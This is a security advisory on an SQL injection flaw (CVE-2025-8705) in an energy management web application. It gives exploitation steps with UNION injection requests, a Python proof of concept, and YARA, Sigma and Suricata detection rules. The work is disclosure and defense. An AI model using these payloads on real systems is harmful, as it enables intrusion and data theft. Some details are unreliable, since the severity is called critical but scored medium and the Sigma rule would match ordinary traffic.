CVE-2025-8705

Executive Summary

CVE-2025-8705 is a critical SQL injection vulnerability discovered in the Wanzhou WOES Intelligent Optimization Energy Saving System version 1.0. The flaw resides in the Energy Overview Module, specifically within the /WEAS_HomePage/GetTargetConfig endpoint. By manipulating the BP_ProID parameter, an unauthenticated remote attacker can inject arbitrary SQL commands, potentially leading to unauthorized data access, modification, or system compromise. The vulnerability has been publicly disclosed, and proof-of-concept (PoC) code is available, increasing the risk of exploitation. No official patch has been released at this time.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited data modification.
• Availability Impact: Low (A:L) – Potential for service disruption.

Threat Level: Medium. The vulnerability is easily exploitable remotely without authentication, but the impact is limited to low-level data compromise. However, in the context of an energy management system, even low-level access could lead to significant operational disruptions.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the BP_ProID parameter of the GetTargetConfig function. The application likely constructs a SQL query by directly concatenating user input without proper sanitization or parameterization. An attacker can inject SQL commands by appending malicious payloads to the BP_ProID parameter.

Example vulnerable code snippet (conceptual):

SELECT * FROM targets WHERE project_id = '$_GET['BP_ProID']'

An attacker can manipulate the parameter to break out of the string context and execute arbitrary SQL. For example:

BP_ProID=1' OR '1'='1

This would result in:

SELECT * FROM targets WHERE project_id = '1' OR '1'='1'

This returns all rows from the targets table, bypassing intended access controls.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

$proID = $_GET['BP_ProID'];
$query = "SELECT * FROM targets WHERE project_id = '$proID'";
$result = mysqli_query($conn, $query);

Patched Code (Conceptual):

$proID = $_GET['BP_ProID'];
$stmt = $conn->prepare("SELECT * FROM targets WHERE project_id = ?");
$stmt->bind_param("s", $proID);
$stmt->execute();
$result = $stmt->get_result();

The patched version uses prepared statements with parameterized queries, which prevents SQL injection by separating SQL logic from user data.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target system running Wanzhou WOES Intelligent Optimization Energy Saving System 1.0.
• Network access to the /WEAS_HomePage/GetTargetConfig endpoint.

Exploitation Steps:

1. Identify the vulnerable endpoint:

   GET /WEAS_HomePage/GetTargetConfig?BP_ProID=1
   

2. Test for SQL injection:

   GET /WEAS_HomePage/GetTargetConfig?BP_ProID=1'
   

   If an error is returned (e.g., SQL syntax error), the endpoint is vulnerable.

3. Extract database information: Use UNION-based SQL injection to retrieve data.

   GET /WEAS_HomePage/GetTargetConfig?BP_ProID=1 UNION SELECT 1,2,3,4--
   

4. Enumerate tables and columns:

   GET /WEAS_HomePage/GetTargetConfig?BP_ProID=1 UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()--
   

5. Dump sensitive data:

   GET /WEAS_HomePage/GetTargetConfig?BP_ProID=1 UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name='users'--
   

Example PoC (Python):

import requests

target = "http://target.com/WEAS_HomePage/GetTargetConfig"
payload = "1 UNION SELECT 1,2,3,4--"
params = {"BP_ProID": payload}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Detection & Response)

Detection Steps:

1. Monitor HTTP requests to /WEAS_HomePage/GetTargetConfig for unusual patterns.
2. Look for SQL keywords in the BP_ProID parameter (e.g., UNION, SELECT, OR, AND, --).
3. Analyze database logs for unexpected queries or errors.
4. Check for outbound connections from the web server to unknown IPs (data exfiltration).

Response Actions:

• Block the attacking IP at the firewall or WAF.
• Isolate the affected system from the network.
• Review database logs for data access.
• Apply virtual patching (e.g., WAF rule) until an official patch is available.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /WEAS_HomePage/GetTargetConfig with SQL-like payloads in the BP_ProID parameter.
• Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
• Outbound connections from the web server to unknown IPs on non-standard ports.

File IOCs:

• Modified or new files in the web root (e.g., webshells).
• Unusual entries in web server logs (e.g., GET /WEAS_HomePage/GetTargetConfig?BP_ProID=1' UNION SELECT...).

System IOCs:

• Unexpected database queries or high load on the database server.
• New user accounts or privileges escalation.

Detection Engineering

YARA Rule

rule CVE_2025_8705_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-8705"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-8705"
    strings:
        $sqli1 = "BP_ProID="
        $sqli2 = "UNION"
        $sqli3 = "SELECT"
        $sqli4 = "OR"
        $sqli5 = "AND"
        $sqli6 = "--"
        $sqli7 = "1=1"
        $sqli8 = "1=2"
    condition:
        all of ($sqli*) and #sqli1 > 0
}

Sigma Rule

title: CVE-2025-8705 SQL Injection Attempt
id: 8f4b3c2a-1d5e-4f7a-9b8c-0d1e2f3a4b5c
status: experimental
description: Detects SQL injection attempts against the WOES system
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-8705
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - "BP_ProID="
            - "UNION"
            - "SELECT"
            - "OR"
            - "AND"
            - "--"
            - "1=1"
            - "1=2"
    condition: selection
falsepositives:
    - Legitimate use of these keywords in non-malicious context (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-8705 SQL Injection Attempt"; flow:to_server; content:"GET"; http_method; content:"/WEAS_HomePage/GetTargetConfig"; http_uri; content:"BP_ProID="; http_uri; pcre:"/(UNION|SELECT|OR|AND|--|1=1|1=2)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the system from the internet if possible.
2. Apply a WAF rule to block SQL injection patterns in the BP_ProID parameter.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Upgrade to a patched version of the WOES system when available.
• Implement input validation and parameterized queries in the application code.
• Conduct a security audit of the entire application for similar vulnerabilities.

Workaround:

• If source code is accessible, modify the GetTargetConfig function to use prepared statements.
• Restrict access to the endpoint via firewall rules (allow only trusted IPs).

Valters IT